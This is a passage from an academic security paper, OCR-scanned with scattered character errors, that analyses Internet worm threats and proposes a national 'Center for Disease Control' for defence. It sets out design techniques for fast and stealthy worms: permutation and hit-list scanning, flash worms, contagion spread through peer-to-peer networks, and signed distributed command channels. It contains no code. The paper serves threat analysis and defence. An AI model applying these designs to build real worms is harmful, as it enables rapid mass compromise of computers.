tively broadcast that the infected machine is vul- 
nerable to further attack. For example, because of 
its widespread scanning, during the Code Red I in- 
fection it was easy to pick up the addresses of up- 
wards of 300,000 vulnerable IIS servers—because 
each one came knocking on everyone’s door! 


Indeed, some individuals produced active counter- 
measures to Code Red II by exploiting this obser- 
vation, when combined with the backdoor which 
Code Red II installs [DAOI]. However, it is not a 
given that future worms will broadcast their pres- 
ence, and we also note that worms could readily fix 
the very security holes they exploit (such as is often 
already observed for attackers performing break- 
ins manually), which undermines the superficially 
appealing countermeasure of using the worm’s vec- 
tor as a means by which to disable it. 


4.2 Permutation Scanning 


Another limitation to very fast infection is the general 
inefficiency of random scanning: many addresses are 
probed multiple times. Similarly there is no means for a 
randomly scanning worm to effectively determine when 
all vulnerable machines are infected. Permutation scan- 
ning solves these problems by assuming that a worm can 
detect that a particular target is already infected. 


In a permutation scan, all worms share a common 
pseudo random permutation of the IP address space. 
Such a permutation can be efficiently generated using 
a 32-bit block cipher and a preselected key: simply en- 
crypt an index to get the corresponding address in the 
permutation, and decrypt an address to get its index. 


Any machines infected during the hit-list phase (or lo- 
cal subnet scanning) start scanning just after their point 
in the permutation, working their way through the per- 
mutation, looking for vulnerable machines. Whenever 
the worm sees an already infected machine, it chooses a 
new, random start point and proceeds from there. Worms 
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infected by permutation scanning would start at a ran- 
dom point. 


This has the effect of providing a self-coordinated, com- 
prehensive scan while maintaining the benefits of ran- 
dom probing. Each worm looks like it is conducting a 
random scan, but it attempts to minimize duplication of 
effort. Any time an instance of the worm, W, encounters 
an already-infected host, it knows that W’, the original 
infector of the host, is already working along the cur- 
rent sequence in the permutation, and is further ahead. 
Hence, there’s no need for W to continue working on 
the current sequence in addition to W’. 


Self-coordination keeps the infection rate high and guar- 
antees an eventual comprehensive scan. Furthermore, it 
allows the worm to make a local decision that further 
scanning is of little benefit. After any particular copy 
of the worm sees several infected machines without dis- 
covering new vulnerable targets, the worm assumes that 
effectively complete infection has occurred and stops the 
scanning process. 


A timer could then induce the worms to wake up, change 
the permutation key to the next one in a prespecified se- 
quence, and begin scanning through the new permuta- 
tion, starting at its own index and halting when another 
instance is discovered. This process insures that every 
address would be efficiently rescanned at regular inter- 
vals, detecting any machines which came onto the net 
or were reinstalled but not patched, greatly increasing a 
worm’s staying power. Otherwise, the worms are silent 
and difficult to detect, until they receive attack orders 
(see Section 6). 


A further optimization is a partitioned permutation scan. 
In this scheme, the worm has a range of the permutation 
that it is initially responsible for. When it infects another 
machine, it reduces its range in half, with the newly in- 
fected worm taking the other section. When the range 
gets below a certain level, it switches to simple permu- 
tation scanning and otherwise behaves like a permuta- 
tion scan. This scheme offers a slight but noticeable 
increase in scanning efficiency, by dividing up the ini- 
tial workload using an approximate divide-and-conquer 
technique. 


Permutation scanning interacts particularly well with a 
worm which attacks multiple security holes: after de- 
ciding that the initial exploit is exhausted, the worm re- 
sets the permutation to its current address, changes the 
permutation key, and exploits the second security hole. 
Thus, even relatively rare secondary holes can be effi- 
ciently and quickly scanned once the worm has estab- 
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Figure 6: The spread of a simulated worm capable of 10 
scans/second in a population of 300,000 vulnerable machines 
and its comparison to the model developed in Section 2. The 
simulation and theoretical results overlap completely. 


lished itself on the network. 


It may seem that the permutation scanning algorithm 1s 
spoofable, but only to a very limited degree. If an unin- 
fected machine responds to the scan in the same way as 
a worm, by falsely claiming to be infected, it will tem- 
porarily protect those machines which exist later in the 
current permutation from being scanned by the worm. 
However, since the permutation itself changes on ev- 
ery rescan, the set of machines protected is constantly 
changing. The result is that unless a very large number 
of uninfected machines respond to probes like an actual 
worm, the protection is almost nonexistent. 


4.3. Simulation of a Warhol Worm 


A combination of hit-list and permutation scanning can 
create what we term a Warhol worm, capable of attack- 
ing most vulnerable targets in well under an hour, possi- 
bly less than 15 minutes. Hit-list scanning greatly im- 
proves the initial spread, while permutation scanning 
keeps the worm’s infection rate high for much longer 
when compared with random scanning. 


In order to evaluate the effects of hit-list and permuta- 
tion scanning, we wrote a small, abstract simulator of a 
Warhol worm’s spread. The simulator assumes complete 
connectivity within a 2° entry address space’ using a 
pseudo-random permutation to map addresses to a sub- 


4In general, the Internet address space isn’t completely connected. 
If a machine is not reachable from an arbitrary point on the external 
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Figure 7: The spread of three simulated worms in a popu- 
lation of 300,000 vulnerable machines: (1) a Code Red-like 
worm capable of I! 0 scans/second, (ii) a faster scanning Worm 
capable of 100 scans/second, and (iii) a Warhol Worm, capable 
of 100 scans/second, using a 10,000 entry hit-list and permu- 
tation scanning which gives up when 2 infected machines are 
discovered without finding a new target. All graphs stop at 
99.99% infection of the simulated address space. 


set of vulnerable machines. We used a 32-bit, 6-round 
variant of RCS to generate all permutations and random 
numbers. 


We can parameterize the simulation in terms of: the 
number of vulnerable machines in the address space; 
scans per second; the time to infect a machine; num- 
ber infected during the hit-list phase; and the type of 
secondary scan (permutation, partitioned permutation, 
orrandom). The simulator assumes multithreaded scan- 
ning. 


To ensure that the simulator produces reasonable re- 
sults, Figure 6 shows a comparison between the simu- 
lator’s output and the model developed in Section 2, for 
a worm capable of 10 scans/second in a population of 
300,000 vulnerable machines. The simulation results fit 
the model for K = 2.6 and 7’ = 5.52. This represents a 
worm which is slightly faster (less than 50%) than Code 
Red I. 


Figure 7 then shows how both faster scanning and the 
Warhol strategies affect the propagation time. The faster 
scanning worm (capable of 100 scans/second) reduces 
the infection time down to under an hour, while the com- 
bination of hit-list scanning, permutation scanning, and 
fast scanning, further reduces infection time to roughly 


network, it is usually not reachable directly by a wormexcept through 
local scanning, 
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Figure 8: A closeup of the behavior of the Warhol worm 
seen in Figure 7. The infection initially progresses rapidly— 
effectively all Worms are actively scanning the net—but as in- 
fection rates near 100%, many worms have gone dormant, cor- 
rectly concluding that there are few vulnerable machines re- 
maining and should therefore cease scanning. 


15 minutes. 


Figure 8 shows in more detail the behavior of the Warhol 
strategies. It gets a huge boost from the hit-list during the 
first few seconds of propagation, quickly establishing it- 
self on the network and then spreading exponentially. As 
the infection exceeds the 50% point, some of the worms 
begin recognizing that saturation 1s occurring and stop 
scanning. By the time the graph ends (at 99.99% of 
the simulated population), most of the worms have gone 
silent, leaving a few remaining worms to finish scanning 
the last of the address space. 


4.4 Topological Scanning 


An alternative to hit-list scanning is topologically aware 
scanning, which uses information contained on the vic- 
tim machine in order to select new targets. Email worms 
have used this tactic since their inception, as they harvest 
addresses from their victim in order to find new poten- 
tial targets, as did the Morris worm (necessary because 
of the very sparse address space when it was released) 
[Sp89, ER89]. 


Many future active worms could easily apply these tech- 
niques during the initial spread, before switching to 
a permutation scan once the known neighbors are ex- 
hausted. An active worm that attacked a flaw in a peer- 
to-peer application could easily get a list of peers from 
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a victim and use those peers as the basis of its attack, 
which makes such applications highly attractive targets 
for worm authors. Although we have yet to see such a 
worm in the wild, these applications must be scrutinized 
for security. These applications are also vulnerable to 
contagion worms, as discussed in Section 5. 


Similarly, a worm attacking web servers could look for 
URLs on disk and use these URLs as seed targets as well 
as simply scanning for random targets. Since these are 
known to be valid web servers, this would tend to greatly 
increase the initial spread by preferentially probing tor 
likely targets. 


4.5 Flash Worms 


We further observe that there is a variant of the hit-list 
Strategy that could plausibly result in most of the vul- 
nerable servers on the Internet being infected in tens of 
seconds. We term this a flash worm. 


The nub of our observation is that an attacker could plau- 
sibly obtain a hit-list of most servers with the relevant 
service open to the Interet in advance of the release of 
the worm.> 


In addition to the methods already discussed for con- 
structing a hit-list in Section 4.1, a complete scan of the 
Internet through an OC-12 connection would complete 
quickly. Given a rate of 750,000 TCP SYN packets per 
second (the OC-12 provides 622 Mbps, the TCP seg- 
ment takes 40 bytes, and we allow for link-layer fram- 
ing), and that the retum traffic is smaller in volume 
than the outbound (it is comprised of either same-sized 
SYN ACKs or RSTs, smaller ICMPs, or, most often, no 
response at all), it would take roughly 2 hours to scan 
the entire address space. Faster links could of course 
scan even faster. Such a brute-force scan would be easily 
within the resources of a nation-state bent on cyberwar- 
fare. 


Given that an attacker has the determination and fore- 
sight to assemble a list of all or most Internet connected 
addresses with the relevant service(s) open, a worm can 
spread most efficiently by simply attacking addresses on 
that list. For example, there are about 12.6 million Web 
servers on the Internet (according to Netcraft [Ne02]), so 
the size of that particular address list would be 48 MB, 
uncompressed. The initial copy of the worm can be pro- 


Servers behind load balancers create complications here, as do 
machines that connect to the Intemet with variable IP addresses but 
nonetheless have vulnerable services open. 
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grammed to divide the list into n blocks, and then to find 
and infect the first address in each block (or an especially 
chosen high-bandwidth address in that block), and then 
hand the child worm the list of addresses for that block. 
That copy of the worm can then re-iterate the process to 
infect everything in its block. A threaded worm could 
begin infecting hosts before it had received the full host 
list from its parent to work on, to maximize the paral- 
lelization process, and it could start work on looking for 
multiple children in parallel. 


This design is somewhat fragile if an early copy of the 
worm is neutralized very quickly, or infects a site from 
which it cannot scan out. To mitigate this, the worm 
copies could overlap in their scanning so that all ad- 
dresses were scanned a small number of times, with 
every target address being scanned by different paths 
through the infection tree. This has the additional side- 
effect of removing the need for further parent-to-child 
communication after initial infection occurs. 


A related design would call for most of the address list 
to be located in pre-assigned chunks on one or a num- 
ber of high-bandwidth servers that were well-known to 
the worm. Each copy of the worm would receive an as- 
signment from its parent, and then fetch the address list 
from there. The server would only have to send out por- 
tions of the list, not the entire list; in principle, it should 
only have to transmit each address in the list once. In ad- 
dition, after the worm has propagated sufficiently that a 
large number of copies are attempting to fetch their (now 
quite small) lists, at that point the worm collective could 
switch to sending around the address list with each new 
infection, rather than having the infectees each contact 
the server. 


This process will result in relatively little wasted effort. 
For example, if the worm had a list of Web servers, and 
a zero-day IIS vulnerability, about 26% of the list would 
be vulnerable. No server would be probed twice. If 
n = 10, then the infection tree for the 3 million vulner- 
able servers would be just 7 layers deep. 


The spread rate of such a worm would likely be con- 
strained by one of two things. The worm itself is likely 
to be small (Code Red I was about 4 KB, and a highly 
malicious worm could easily be less than 100 KB, even 
allowing for a complex payload). Thus, at the start, the 
address list is much larger than the worm itself, and the 
propagation of the worm could be limited by the time re- 
quired to transmit the host list out of the initial infection 
Site or servers where it was stored. Since all the children 
of the infection will have much smaller lists to transmit, 
these later lists are less likely to limit the worm spread 
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(unless a first generation child has less than 1/n of the 
initial copy’s bandwidth available to it). The exact time 
required to transmit the list will depend on the available 
bandwidth of the storage sites. As an example, however, 
we point out that a 48 MB address list could be pushed 
down an OC-12 link in less than a second.® 


Thus, starting the worm on a high-bandwidth link is 
desirable for the attacker, and bandwidth is probably a 
concem at the next layer or two. Compression of the 
list could make the list delivery much faster. Indeed, 
we took a sorted list of the 9 million server addresses 
discussed in Section 5 and found that gzip compression 
shrinks the list from 36 MB to 13 MB, and differencing 
the addresses prior to compression reduced it to 7.5 MB. 


Another possible limitation is simply the latency re- 
quired to infect each new layer in the tree. Given that 
probes can be issued in parallel, and substantially more 
threads can be spawned than n (the number of children), 
we do not have to add up the time required for a given 
copy to cycle through its list, but simply take the maxi- 
mum infection latency. A single second 1s a reasonable 
latency, but with nm = 10 and a large hit-list to trans- 
fer, it might take a little longer to get 10 copies of the 
worm through a given site’s link. However, not much 
longer—if a 5 KB worm can get 50% utilization through 
a 256 Kbps DSL uplink, it can transmit ten copies of it- 
self in three seconds. That leads to a sub-thirty-second 
limit on the total infection time, given an infection tree 
seven layers deep and a design where the new worm chil- 
dren go to a server for their addresses. (An additional 
concer here is the possibility of elements of the worm 
interfering with one another, either directly, by induc- 
ing congestion, or indirectly, for example by overflowing 
ARP tables, as happened during the Code Red I outbreak 
[SAO1]. These possibilities are difficult to analyze.) 


In conclusion, we argue that a compact worm that be- 
gins with a list including all likely vulnerable addresses, 
and that has initial knowledge of some vulnerable sites 
with high-bandwidth links, appears able to infect almost 
all vulnerable servers on the Internet in less than thirty 
seconds. 


6 Or, if we model TCP slow start, then assuming an RTT of 
100 msec (high), 1500 byte segments, an initial window of | segment, 
and the use by the receiver of delayed acknowledgments, the transfer 
takes 2.3 seconds, using equation (10) of [CSA00J, Since we con- 
trol the receiver, we could perhaps tum off delayed acknowledgments, 
which lowers this to 1.5 seconds. We could even skip congestion con- 
trol entirely, but that runs the serious risk of lengthening the transfer 
time by inducing packet loss, requiring retransmission. 


5 Stealth worms—contagion 


The great speed with which the worms described in the 
previous sections can propagate presents a grave threat 
to the Internet’s security, because there is so little time 
available to react to their onset. Still, there might be 
a possibility of devising mechanisms that automatically 
detect the spread of such worms and shut them down 
in some fashion [MSVS02]. Such mechanisms would 
likely be triggered by the singular communication pat- 
terns the worms evince—hosts generating much more 
diverse and rapid Internet traffic than they usually do. 


We now tur to a different paradigm of worm prop- 
agation, contagion, which, while likely spreading sig- 
nificantly slower than the rapidly-propagating worms, 
evinces almost no peculiar communication patterns. As 
such these worms could prove much more difficult to de- 
tect and counter, allowing a patient attacker to slowly but 
surreptitiously compromise a vast number of systems. 


The core idea of the contagion model can be expressed 
with the following example. Suppose an attacker has 
attained a pair of exploits: &,, which subverts a popular 
type of Web server; and E,, which subverts a popular 
type of Web client (browser). The attacker begins the 
worm on a convenient server or client (it doesn’t matter 
which, and they could start with many, if available by 
some other means), and then they simply wait. If the 
starting point is a server, then they wait for clients to visit 
(perhaps baiting them by putting up pom content and 
taking care that the large search engines index it). As 
each client visits, the subverted server detects whether 
the client is vulnerable to . If so, the server infects it, 
sending along both FE, and &,. As the client’s user now 
surfs other sites, the infected client inspects whether the 
servers on those sites are vulnerable to /,, and, if so, 
again infects them, sending along FE, and E,. 


In this fashion, the infection spreads from clients to 
servers and along to other clients, much as a contagious 
disease spreads based on the incidental traffic patterns of 
its hosts. 


Clearly, with the contagion model there are no unusual 
communication patterns to observe, other than the larger 
volume of the connections due to the worm sending 
along a copy of itself as well as the normal contents of 
the connection—in the example, the URL request or the 
corresponding page contents. Depending on the type of 
data being transferred, this addition might be essentially 
negligible (for example, for MP3s). Thus, without an 
analyzer specific to the protocol(s) being exploited, and 
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which knows how to detect abnormal requests and re- 
sponses, the worm could spread very widely without de- 
tection (though perhaps other detection means such as 
Tripwire file integrity checkers [Tw0O2] might discover 


It). 


In addition to exploiting the natural communication pat- 
terms to spread the worm, these might also be used by the 
attacker to then control it and retrieve information from 
the infected hosts, providing that the endemic traffic pat- 
terms prove of sufficient frequency and volume for the 
attacker’s purposes. (Or, of course, the attacker might 
more directly command the infected hosts when the time 
is ripe, “blowing their cover” in the course of a rapid 
strike for which keeping the hosts hidden can now be 
sacrificed.) 


As described above, one might find contagion worms a 
clear theoretical threat, but not necessarily such a grave 
threat in practice. —The example requires a pair of ex- 
ploits, and will be limited by the size of the populations 
vulnerable to those attacks and the speed with which 
Web surfing would serve to interconnect the populations. 
While some argue the Web exhibits the “‘small world” 
phenomenon [Br+00], in which the distance between 
different Web items in the hypertext topology is quite 
low, this doesn’t necessarily mean that the dynamic pat- 
tems by which users visit that content exhibit a similar 
degree of locality. 


We now present a more compelling example of the la- 
tent threat posed by the contagion model, namely lever- 
aging peer-to-peer (P2P) systems. P2P systems gener- 
ally entail a large set of computers all running the same 
software. Strictly speaking, the computers need only all 
run the same protocol, but in practice the number of 
independent implementations is quite limited, and it is 
plausible that generally a single implementation heavily 
dominates the population. 


Each node in the P2P network is both a client and a 
server.’ Accordingly, the problem of finding a pair of 
exploits to infect both client and server might likely be 
reduced to the problem of finding a single exploit, signif- 
icantly less work for the attacker. P2P systems have sev- 
eral other advantages that make them well suited to con- 
tagion worms: (i) they tend to interconnect with many 
different peers, (it) they are often used to transfer large 
files, (iii) the protocols are generally not viewed as main- 
stream and hence receive less attention in terms of moni- 
toring by intrusion detection systems and analysis of im- 


1Of particular interest are flaws which can only be exploited to in- 
fect hosts that initiate a connection. Such flaws cannot be effectively 
used for fast-spreading wonms, but are suitable for contagion worms. 
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plementation vulnerabilities, (iv) the programs often ex- 
ecute on user’s desktops rather than servers, and hence 
are more likely to have access to sensitive files such 
as passwords, credit card numbers, address books, and 
(v) the use of the P2P network often entails the transfer 
of “grey” content (e.g., pomography, pirated music and 
videos), arguably making the P2P users less inclined to 
draw attention to any unusual behavior of the system that 
they perceive. 


The final, sobering quality of P2P networks for form- 
ing contagion worms is their potentially immense size. 
We obtained a trace of TCP port 1214 traffic recorded 
in November, 2001, at the border of a large university. 
Port 1214 is used by the KaZaA [Ka01] and Morpheus 
[Mu01] P2P sharing systems (both® built on the Fast- 
Track P2P framework [Fa01]). As of January, 2002, 
the KaZaA distributors claim that more than 30,000,000 
copies have been downloaded [Ka01]. Since our data 
does not allow us to readily distinguish between KaZaA 
and Morpheus traffic, for ease of exposition we will sim- 
ply refer to all of the traffic as KaZaA. 


Our KaZaA trace consists of summaries of TCP con- 
nections recorded by a passive network monitor. We 
have restricted the data to only those connections for 
which successful SYN and FIN handshakes were both 
seen (corresponding to connections reliably established 
and terminated, and eliminating unsuccessful connec- 
tions such as those due to scanning). 


The volume of KaZaA traffic at the university is im- 
mense: it comprises 5-10 million established connec- 
tions per day. What is particularly striking, however, 1s 
the diversity of the remote hosts with which hosts at the 
university participated in KaZaA connections. During 
the month of November, 9 million distinct remote IP ad- 
dresses engaged in successful KaZaA connections with 
university hosts. (There were 5,800 distinct university 
KaZaA hosts during this time.) 


Distinct addresses do not directly equate to distinct com- 
puters. A single address can represent multiple comput- 
ers due to the use of NAT, DHCP, or modem dialups ac- 
cessed by different users. On the other hand, the same 
computer can also show up as different addresses due 
to these mechanisms. Thus, we do not have a precise 
sense of the number of distinct computers involved in the 
November trace, but it appears reasonable to estimate it 
as around 9 million. 


KaZaA uses a variant of HTTP for framing its applica- 


8 In early 2002, Morpheus switched to instead use the Gnutella P2P 
framework [Re02). 
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tion protocol. Given HTTP’s support for variable-sized 
headers, it would not be surprising to find that a buffer 
overflow exploit of KaZaA exists. Given such an ex- 
ploit, it is apparent that if an attacker started out having 
infected all of the university’s KaZaA hosts, then after a 
month they would have control of about 9 million hosts, 
assuming that the KaZaA clients are sufficiently homo- 
geneous that a single exploit could infect them all.’ 


How plausible is it that the attacker could begin with 
control over all of the university’s KaZaA hosts? Quite: 
while the goal of the contagion worm is to evade detec- 
tion, the attacker can likely risk a more blatant attack on 
a single university. If they can find a university lacking 
in diligent security monitoring (surely there must be a 
few of these!), they can then compromise a single host 
at the university, engage in “noisy” brute-force scanning 
of the internal hosts to find all of the KaZaA clients, and 
infect them. They then switch into contagion spread- 
ing.!° 

While the above argues that the attacker could gain the 
9 million hosts within a month, the actual spread 1s likely 
much faster, because once a remote host is infected, it 
too contributes to spreading the contagion. Not only 
does this accelerate the epidemic, but it also likely tums 
it into a pandemic, because the remote hosts can connect 
with other remote hosts that wouldn’t happen to visit the 
university. Furthermore, depending on the protocol, a 
single infected node could pretend to have information it 
doesn’t have, in order to appear highly attractive and in- 
crease the number of connections received, although that 
would somewhat disrupt the normal patterns of commu- 
nication. 


We would like therefore to better understand the rate at 
which a KaZaA contagion worm could spread, and to 
what breadth. To estimate this from just the university 
trace is difficult, because we don’t know the total size 
of the KaZaA population. Doubtless it is larger than 
9,000,000—but is it as high as 30,000,000, as indicated 
in [Ka01]? How many of those copies were redundant 
(same user fetching the software multiple times), or are 
no longer in use? On the other hand, could the popula- 
tion be higher, due to users getting copies of the clients 
from other sources than [Ka0O!]? 


Another problem 1s that we do not know the degree to 


9 It is actually worse than this. Jt turns out (Bd02, We02] that 
KaZaA already has a remote access backdoor installed! But for the 
pumposes of our discussion here, we put aside this: fact. 

OWe note that some P2P networks are alsu amenable to constructin 2 
flash worms, because they include mechanisms by which an attacker 
can monitor portions of the global query stream in order to compile a 
hit-list of clients 


0.1 


P[X >= x] 
0.001 





0.00001 


1 5 10 50 100 
Degree of Remote KaZaA Host 


Figure 9: Complementary distribution of number of distinct 
local university hosts to which different remote KaZaA hosts 
connected. Both axes are log-scaled; the linear fit shown in the 
plot corresponds to a Pareto distribution with shape parameter 
Qa 2 A> 


which the university’s hosts are “typical.” We also lack 
any traces of their internal peer-to-peer traffic, which, if 
frequent, would have major implications for the rate at 
which the worm could infect an entire remote site. 


Weare pursuing further work in this area. First, we are 
attempting with colleagues to develop graph-based mod- 
els with which we can then extrapolate properties of the 
spread of the contagion based on different sets of as- 
sumptions about the hosts in our trace. Second, we have 
obtained traces of KaZaA traffic from another university 
(in another country), and will be analyzing these to de- 
termine the degree of overlap and cross-talk between the 
two universities, with which to then better estimate the 
total KaZaA population and its communication patterns. 
Finally, we are building a simulator for both active and 
contagion worms within various peerto-peer topologies. 


As a last comment, we have evidence that the KaZaA 
network may behave like a “scale-free” topology in 
terms of its interconnection. Figure 9 shows the dis- 
tribution of the degree of the remote hosts in the trace, 
1.e., the number of distinct local hosts to which each re- 
mote host connected during November, 2001. The plot is 
shownas a log-log complementary distribution function: 
the z-axis shows log,, of the remote host’s degree, and 
the y-axis shows log, of the probability of observing a 
remote host with that outdegree or higher. (Due to the 
immense size of the dataset, we plot a subset rather than 
the entire dataset, randomly sampled with p = 0.01.) 


A straight line on such a plot corresponds to a Pareto 
distribution. While the majority of the remote hosts con- 
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nected to only one or two local hosts, for those con- 
necting to three or more hosts, the fit to a Pareto dis- 
tribution (with shape parameter a@ = 2.1) is compelling. 
That the degree has such a distribution is then strongly 
suggestive that the underlying KaZaA network may ex- 
hibit a scale-free (or Zipf-like) topology. The propaga- 
tion of contagion through such networks has recently 
been studied {[PV0O1]. While the discussion in that ar- 
ticle is flawed—it confounds the Internet’s underlying 
IP topology with email and Web application topology— 
the general framework the authors develop gives hope 
that we can leverage it to better understand the behav- 
ior of a KaZaA contagion worm. That said, we add that 
the degree of the local hosts is clearly not Pareto, so the 
analysis might not in fact apply. 


6 Updates and Control 


The last facet of worm design we examine concems 
mechanisms by which the attacker can control and mod- 
ify a worm after its dissemination. The ease and re- 
siliency with which an attacker can do so has serious 
consequences for both how the threat of a deployed 
worm can evolve, and the potential difficulty in detect- 
ing the worm’s presence and operation after the initial 
infection. 


Some previous worms such as the Goner mail worm 
[CE02] contained primitive remote control code, similar 
to many common “zombies”, allowing the authors and 
others to issue commands to a distributed DOS mod- 
ule through an IRC [OR93] channel. (Indeed, the root 
backdoor installed by Code Red II also offered a form 
of unlimited remote control.) Others worms have at- 
tempted to download updates and payloads from web 
pages, such as W32/sonic [Sy00]. Both of these mech- 
anisms, when employed, were quickly countered by re- 
moving the pages and tracking the channels. Similarly, 
previously seen DDOS tools such as Stacheldraht [D199] 
have included both encrypted communication and up- 
date mechanisms for directly controlling the zombies. 


Here we briefly explore a more _ sophisticated 
method-—direct worm-to-worm communication and 
programmable updates—which, while not yet observed 
in the wild, is a natural evolution based on the previous 
updatable worms and DDOS tools. 
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6.1 Distributed Control 


In a distributed-control worm, each worm has a list of 
other known, running copies of the worm and an ability 
to create encrypted communication channels to spread 
information. Any new command issued to the worms 
has a unique identifier and is cryptographically signed 
using an author’s key. Once a worm has a copy of the 
command, the command 1s first verified by examining 
the cryptographic signature, spread to every other known 
instance of the worm, and then executed. This allows 
any command to be initially sent to an arbitrary worm 
instance, where it is then quickly spread to all running 
copies. 


The key to such a network is the degree of connectivity 
maintained, in order to overcome infected hosts being 
removed from the network, and to hasten the spread of 
new commands. Although it is clear that a worm could 
spread information to its neighbors about other worm in- 
stances in order to create a more connected, highly re- 
dundant network, it is useful to estimate the initial de- 
gree of connectivity without these additional steps. 


If each worm node only knows about other nodes it has 
probed, infected, or been probed by, the average con- 
nectivity is still very high. With 1M hosts, using permu- 
tation scanning (with no halting), our simulator shows 
that the average degree of nodes in the worm network 
is 4 when 95% infection is achieved, and 5.5 when 99% 
infection is achieved. Additionally, each permutation- 
based rescan will add 2 to the degree of every worm, rep- 
resenting the copy discovered by each instance, and the 
copy which discovers each instance. Thus, after a couple 
of rescans, the connectivity becomes very high without 
requiring additional communication between the worm 
instances. 


Such a network could be used to quickly pass updates to 
all running copies, without having a single point of com- 
munication like that seen in previous worms, increas- 
ing the staying power by preventing the communica- 
tion channel from being disrupted or co-opted by others, 
while still allowing the author to control their creation in 
a difficult-to-track manner. 


6.2 Programatic Updates 


The commands to a worm can of course be arbitrary 
code. Many operating systems already support conve- 
nient dynamic code loading, which could be readily em- 
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ployed by a worm’s author. Another possibility has the 
bulk of the worm written in a flexible language com- 
bined with a small interpreter. By making the worm’s 
commands be general modules, a huge increase in flexi- 
bility would be achieved. 


Of particular interest are new attack modules and seeds 
for new worms. If the author discovers a new security 
hole and creates a new attack module, this could be re- 
leased into the worm network. Even if only a few thou- 
sand copies of the worm remain, this is enough of an 
installed base for a hit-list like effect to occur upon in- 
troduction of anew attack module, quickly spreading the 
worm back through the network. 


It is an interesting question whether it 1s possible for 
a worm author to release such a worm with the cryp- 
tographic modules correctly implemented. From expe- 
rience, if the worm author attempts to build their own 
cryptographic implementation, this could well suffer 
from a significant weakness that could be exploited for 
countering the worm. Yet there are a number of strong 
cryptographic applications and libraries that could be 
used by a worm author to provide the cryptographic 
framework, a good example being OpenSSL [Op01], 
which includes an encrypted session layer, symmetric 
ciphers, hash functions, and public key ciphers and sig- 
natures to provide for code signing. 


7 Envisioning a Cyber “Center for Disease 
Control’ 


Given the magnitude of Internet-scale threats as devel- 
oped in the previous sections, we believe it 1s impera- 
tive for the Intemet in general, and for nations concemed 
with cyberwarfare in particular, to attempt to counter the 
immense risk. We argue that use of biological metaphors 
reflected in the terms “worms” and “viruses” remains apt 
for envisioning a nation-scale defense: the cyber equiva- 
lent of the Centers for Disease Control and Prevention in 
the United States [CDC02], whose mission is to monitor 
the national and worldwide progression of various forms 
of disease, identify incipient threats and new outbreaks, 
and actively foster research for combating various dis- 
eases and other health threats. 


We see an analogous “Cyber-Center for Disease Con- 
trol’ (CDC) as having six roles: 


e Identifying outbreaks. 


Rapidly analyzing pathogens. 
e Fighting infections. 
e Anticipating new vectors. 


e Proactively devising detectors for new vectors. 


Resisting future threats. 


In the remainder of this section, we discuss each of these 
in tum, with our aim being not to comprehensively ex- 
amine each role, but to spur further discussion within the 
community. 


7.1 Identifying outbreaks 


As discussed earlier in this paper, to date Interet-scale 
worms have been identified primarily via informal email 
discussion on a few key mailing lists. This process takes 
hours at a minimum, too slow for even the “slower” of 
the rapidly-propagating worms, much less the very fast 
worms developed in Section 4. The use of mailing lists 
for identification also raises the possibility of an attacker 
targeting the mailing lists for denial-of-service in con- 
junction with their main attack, which could greatly de- 
lay identification and a coordinated response. Present 
institutions for analyzing malicious code events are not 
able to produce a meaningful response before a fast ac- 
tive worm reaches saturation. 


CDC Task: develop robust communication mechanisms 
for gathering and coordinating “field information.” Such 
mechanisms would likely be (i) decentralized, and (ii) 
span multiple communication mechanisms (e.g., Inter- 
net, cellular, pager, private line). 


For flash worms, and probably Warhol worms, arguably 
no human-driven communication will suffice for ade- 
quate identification of an outbreak before nearly com- 
plete infection 1s achieved. 


CDC Task: sponsor research in automated mechanisms 
for detecting worms based on their traffic patterns; fos- 
ter the deployment of a widespread set of sensors. The 
set of sensors must be sufficiently diverse or secret such 
that an attacker cannot design their worm to avoid them. 
This requirement may then call for the development of 
sensors that operate within the Internet backbone, as op- 
posed to at individual sites, and actuators that can re- 
spond to various threats (see below). 
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Clearly, widespread deployment and use of sensors 
raises potentially immense policy issues conceming pri- 
vacy and access control. Present institutions lack the au- 
thority and mandate to develop and deploy Internet-wide 
sensors and actuators. 


7.2 Rapidly analyzing pathogens 


Once a worm pathogen 1s identified, the next step is to 
understand (i) how it spreads and (ii) what it does in ad- 
dition to spreading. 


The first of these is likely easier than the second, be- 
cause the spreading functionality—or at least a subset 
of it—will have manifested itself during the identifica- 
tion process. While understanding the pathogen’s addi- 
tional functionality is in principle impossible—since it 
requires solving the Halting Problem—it is important to 
keep in mind that the Halting Problem applies to ana- 
lyzing arbitrary programs: on the other hand, there are 
classes of programs that are fully analyzable, as revealed 
by extensive past research in proving programmatic cor- 
rectness. 


The question is then to what degree can worm authors 
write programs that are intractable to analyze. Certainly 
it 1s quite possible to take steps to make programs dif- 
ficult to understand; indeed, there is a yearly contest 
built around just this theme [NCSBO1], and our own un- 
funded research in this regard has demonstrated to us the 
relative ease of transforming a non-trivial program into 
an incomprehensible mess [Pa92]. 


CDC Task: procure and develop state-of-the-art pro- 
gram analysis tools, to assist an on-call group of experts. 
These tools would need to go beyond simple disassem- 
bly, with facilities for recognizing variants from a library 
of different algorithms and components from a variety of 
development toolkits, and also components from previ- 
ous worms, which would be archived in detail by a CDC 
staff librarian. 


The tools would also need to support rapid, distributed 
program annotation and simulation. Furthermore, the 
team would need access to a laboratory stocked with vir- 
tual machines capable of running or emulating widely- 
used operating systems with support for detailed execu- 
tion monitoring. (Less widely-used systems do not pose 
much of a threat in regards to Internet-scale worms.) In 
addition, code coverage analysis tools coupled with sam- 
ple execution of the pathogen could help identify unex- 
ecuted portions of the code, which in turn might reflect 
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the pathogen’s additional functionality, and thus merit 
detailed analysis. (Or such unused regions could simply 
reflect “chaff added by the worm author to slow down 
the analysis; an “‘arms race” seems inevitable here.) 


Admittedly, any analysis involving humans might be too 
slow to match the pace of a rapidly-propagating worm. 
But clearly it will always prove beneficial to know ex- 
actly how a worm spread and what it did, even after the 
fact; and for a large-scale cyberwarfare situation, speed 
will remain of the essence, especially as the “fog of war” 
may well retard the attacker’s full use of the worm. This 
is especially true if the worm is designed to accept up- 
dates, for although the worm’s spread may be extremely 
fast, the threat may continue as long as there are a sig- 
nificant number of infected machines remaining on the 
Intemet. Furthermore, for contagion worms, there may 
be significantly more time available for analysis, if the 
worm 1s detected sufficiently early. 


7.3. Fighting infections 


Naturally, we would want the CDC to help as much as 
possible in retarding the progress or subsequent applica- 
tion of the worm. 


CDC Task: establish mechanisms with which to prop- 
agate signatures describing how worms and their traffic 
can be detected and terminated or isolated, and deploy 
an accompanying body of agents that can then apply the 
mechanisms.!! 


Itis difficult to see how such a set of agents can be ef- 
fective without either extremely broad deployment, or 
